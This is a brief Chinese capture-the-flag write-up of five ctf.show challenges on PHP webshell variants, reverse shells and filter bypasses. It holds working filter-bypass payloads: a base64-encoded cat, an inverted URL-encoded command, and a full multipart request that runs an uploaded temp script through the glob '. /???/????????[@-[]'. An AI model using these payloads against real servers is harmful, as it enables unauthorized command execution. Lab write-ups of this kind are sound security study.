第一题
bash
一句话木马变形
100

解题:
1、题目只能使用字母、数字、下划线、括号和分号
2、运行system(ls); 发现目录下有flag.php
3、base64加密cat命令,获取flag.php内容

第二题
bash
反弹shell构造
100

解题:
1、命令无回显,应该是要nc反连
2、没开vps,直接写文件读取得到flag
第三题
bash
管道符绕过过滤
100
解题:

第四题
bash
无字母数字代码执行
100
解题:
1、输入任何函数都提示错误
2、看了其他大佬的解法,主要是先将命令取反,再urlencode,传递的时候再去取反还原一下。


第五题
bash
无字母数字命令执行
100
解题:
1、也是无字母数字命令执行
2、学习其他大佬的
| 特性维度 | Linux 系统 | Windows 系统 |
|---|---|---|
| 临时文件路径 | /tmp/phpxxxxxx |
C:\Windows\phpxxxx.tmp |
| 文件名特征 | 后缀6位随机,可能出现大写 | 后缀4位随机,可能出现大写 |
| 执行命令 | . /???/????????[@-[] |
(文中原理部分类似) |
| 关键点 | 利用Linux文件名通常为小写,通过匹配大写后缀来定位临时文件 |
bash
POST / HTTP/1.1
Host: 26943fab-b2b8-4d48-b22c-2fb3dae6e1e4.challenge.ctf.show
User-Agent: python-requests/2.32.4
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 270
Content-Type: multipart/form-data; boundary=534e09de354693c7de29ae6648e70bf0
--534e09de354693c7de29ae6648e70bf0
Content-Disposition: form-data; name="code"
. /???/????????[@-[]
--534e09de354693c7de29ae6648e70bf0
Content-Disposition: form-data; name="file"; filename="payload.txt"
#! /bin/bash
ls
--534e09de354693c7de29ae6648e70bf0--